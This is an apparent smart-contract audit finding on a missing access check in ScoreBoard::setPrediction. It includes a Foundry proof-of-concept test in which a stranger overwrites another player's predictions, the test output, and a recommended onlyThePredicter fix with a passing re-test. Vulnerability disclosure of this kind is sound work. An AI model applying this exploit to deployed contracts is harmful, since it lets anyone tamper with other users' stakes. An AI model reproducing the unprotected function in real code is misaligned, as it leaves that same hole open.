Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Anyone can sabotage players prediction by directly calling `ScoreBoard::setPrediction`

Summary

by directly calling ScoreBoard::setPrediction anyone can set or change any player's prediction because lack of access control on the function.

Vulnerability Details

if we look at setPrediction there are no access control regarding the public function meaning anyone can directly call this function.

function setPrediction(address player, uint256 matchNumber, Result result) public {
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400) {
playersPredictions[player].predictions[matchNumber] = result;
}
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (playersPredictions[player].predictions[i] != Result.Pending && playersPredictions[player].isPaid[i]) {
++playersPredictions[player].predictionsCount;
}
}
}

abuse can be achieved by sabotaging others prediction:

POC

add the following code to ThePredicter.test.sol:

function test_POCSabotageOtherPlayerPrediction() public {
vm.startPrank(stranger);
vm.warp(1);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
address player = makeAddr("player");
vm.startPrank(player);
vm.warp(1);
vm.deal(player, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
vm.warp(2);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(player);
vm.stopPrank();
vm.startPrank(player);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(stranger);
// vm.expectRevert(abi.encodeWithSelector(ScoreBoard__UnauthorizedAccess.selector));
scoreBoard.setPrediction(player, 0, ScoreBoard.Result.First);
// vm.expectRevert(abi.encodeWithSelector(ScoreBoard__UnauthorizedAccess.selector));
scoreBoard.setPrediction(player, 1, ScoreBoard.Result.Second);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.Draw);
scoreBoard.setResult(1, ScoreBoard.Result.Draw);
vm.stopPrank();
// if the prediction not changed, player score should be 4
assertEq(scoreBoard.getPlayerScore(player), 4);
}

then run the following command forge test --mt test_POCSabotageOtherPlayerPrediction

the test should FAIL because the player score is -2 instead of 4:

Failing tests:
Encountered 1 failing test in test/ThePredicter.test.sol:ThePredicterTest
[FAIL. Reason: assertion failed: -2 != 4] test_POCSabotageOtherPlayerPrediction() (gas: 375708)

Impact

the exploit making the protocol unfair because anyone can change others prediction

Tools Used

foundry

Recommendations

add access control modifier onlyThePredicter on the function so it can only be called by ThePredicter contract:

- function setPrediction(address player, uint256 matchNumber, Result result) public {
+ function setPrediction(address player, uint256 matchNumber, Result result) public onlyThePredicter {
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400) {
playersPredictions[player].predictions[matchNumber] = result;
}
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (playersPredictions[player].predictions[i] != Result.Pending && playersPredictions[player].isPaid[i]) {
++playersPredictions[player].predictionsCount;
}
}
}

to check if this change can stop the exploit, uncomment the line (vm.expectRevert) on the test above, or just changed the whole test to this one below:

ThePredicter.test.sol:

function test_POCSabotageOtherPlayerPrediction() public {
vm.startPrank(stranger);
vm.warp(1);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
address player = makeAddr("player");
vm.startPrank(player);
vm.warp(1);
vm.deal(player, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
vm.warp(2);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(player);
vm.stopPrank();
vm.startPrank(player);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(stranger);
vm.expectRevert(abi.encodeWithSelector(ScoreBoard__UnauthorizedAccess.selector));
scoreBoard.setPrediction(player, 0, ScoreBoard.Result.First);
vm.expectRevert(abi.encodeWithSelector(ScoreBoard__UnauthorizedAccess.selector));
scoreBoard.setPrediction(player, 1, ScoreBoard.Result.Second);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.Draw);
scoreBoard.setResult(1, ScoreBoard.Result.Draw);
vm.stopPrank();
// if the prediction not changed, player score should be 4
assertEq(scoreBoard.getPlayerScore(player), 4);
}

then run the following command forge test --mt test_POCSabotageOtherPlayerPrediction
the test should PASS:

Ran 1 test for test/ThePredicter.test.sol:ThePredicterTest
[PASS] test_POCSabotageOtherPlayerPrediction() (gas: 303646)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 979.39µs (300.42µs CPU time)
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

setPrediction lacks access control

setPrediction has no access control and allows manipulation to Players' predictions.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.